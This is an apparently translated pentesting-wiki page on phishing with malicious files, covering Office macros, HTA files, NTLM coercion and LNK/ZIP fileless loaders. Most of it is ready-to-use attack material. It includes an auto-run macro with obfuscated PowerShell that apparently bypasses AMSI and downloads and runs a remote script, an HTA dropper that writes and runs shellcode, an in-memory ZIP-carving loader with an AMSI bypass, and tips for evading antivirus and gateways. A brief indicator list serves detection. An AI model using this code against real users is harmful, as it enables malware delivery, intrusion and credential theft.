11 KiB
Phishing Files & Documents
{{#include ../../banners/hacktricks-training.md}}
Office Documents
Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に沿ったデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
通常、macros を含む Word ファイルは .docm
拡張子を使用します。しかし、拡張子を変更してファイル名を変更しても、マクロの実行能力を保持することが可能です.
例えば、RTF ファイルは設計上 macros をサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、macros の実行が可能になります.
同じ内部動作とメカニズムは Microsoft Office Suite (Excel, PowerPoint etc.) のすべてのソフトウェアに適用されます。
以下のコマンドを使用して、どの拡張子がいくつかの Office プログラムによって実行されるかを確認できます:
assoc | findstr /i "word excel powerp"
macros を含むリモートテンプレートを参照する DOCX ファイル(File –Options –Add-ins –Manage: Templates –Go)は、macros を“実行”することもできます。
External Image Load
Go to: Insert --> Quick Parts --> Field
Categories: Links and References、Filed names: includePicture、およびFilename or URL: http:///whatever
Macros Backdoor
文書から任意のコードを実行するためにmacrosを使用することが可能です。
Autoload functions
The more common they are, the more probable the AV will detect them.
- AutoOpen()
- Document_Open()
Macros Code Examples
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
メタデータを手動で削除
「File > Info > Inspect Document > Inspect Document」に移動すると Document Inspector が表示されます。Inspect をクリックし、次に Document Properties and Personal Information の横にある Remove All をクリックします。
Doc 拡張子
完了したら、Save as type ドロップダウンで形式を .docx
から Word 97-2003 .doc
に変更します。
これは、.docx
にマクロを保存できないことと、マクロ有効の .docm
拡張子にはスティグマ(例:サムネイルアイコンに大きな !
が表示され、一部の web/メールゲートウェイが完全にブロックする) があるためです。したがって、この レガシーな .doc
拡張子が最良の妥協策 です。
Malicious Macros Generators
HTA ファイル
HTA は、HTML とスクリプト言語(VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けずに「完全に信頼された」アプリケーションとして実行されます。
HTA は mshta.exe
を使用して実行され、通常は Internet Explorer とともにインストールされます。これにより mshta
は IE に依存 します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
NTLM認証を強制する
NTLM認証を「リモートで」強制する方法はいくつかあります。例えば、ユーザがアクセスするメールやHTMLに見えない画像を埋め込む(場合によってはHTTP MitMでも)ことや、被害者にフォルダを開くだけで認証を トリガーするようなファイルのアドレスを送る、などです。
これらのアイデアやその他の情報は次のページを参照してください:
{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}
{{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}}
NTLM Relay
ハッシュや認証情報を盗むだけでなく、NTLM relay attacksを実行することも可能です:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
非常に効果的なキャンペーンは、2つの正規のデコイ文書(PDF/DOCX)と悪意ある.lnkを含むZIPを配布します。トリックは、実際のPowerShellローダーがZIPの生バイト列中のユニークなマーカーの後に格納されており、.lnkがそれを切り出してメモリ上で完全に実行する点です。
Typical flow implemented by the .lnk PowerShell one-liner:
- 一般的なパス(Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレント作業ディレクトリの親)から元のZIPを探す。
- ZIPのバイトを読み取り、ハードコードされたマーカー(例: xFIQCV)を探す。マーカー以降が埋め込まれたPowerShellペイロードである。
- %ProgramData%にZIPをコピーし、そこで展開して、デコイの.docxを開いて正当らしく見せる。
- 現在のプロセスでAMSIをバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- 次段階をデオブスク化(例: 全ての#文字を削除)し、メモリ上で実行する。
Example PowerShell skeleton to carve and run the embedded stage:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Notes
- 配信では信頼された PaaS サブドメイン(例: *.herokuapp.com)を悪用することが多く、IP/UA に基づいてペイロードを制限し(良性の ZIP を返す)ことがある。
- 次段階では base64/XOR shellcode を復号化し、Reflection.Emit + VirtualAlloc 経由で実行してディスク痕跡を最小化することが多い。
Persistence used in the same chain
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリがペイロードを自動的に再起動するようにする。詳細とすぐ使えるコマンドは以下を参照:
{{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}}
Hunting/IOCs
- アーカイブデータの末尾に ASCII マーカー文字列(例: xFIQCV)が追記された ZIP ファイル。
- .lnk が親/ユーザフォルダを列挙して ZIP を特定し、デコイ文書を開く。
- AMSI を [System.Management.Automation.AmsiUtils]::amsiInitFailed を使って改ざんする。
- 長時間続くビジネススレッドが、信頼された PaaS ドメインにホストされたリンクで終わる。
References
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
{{#include ../../banners/hacktricks-training.md}}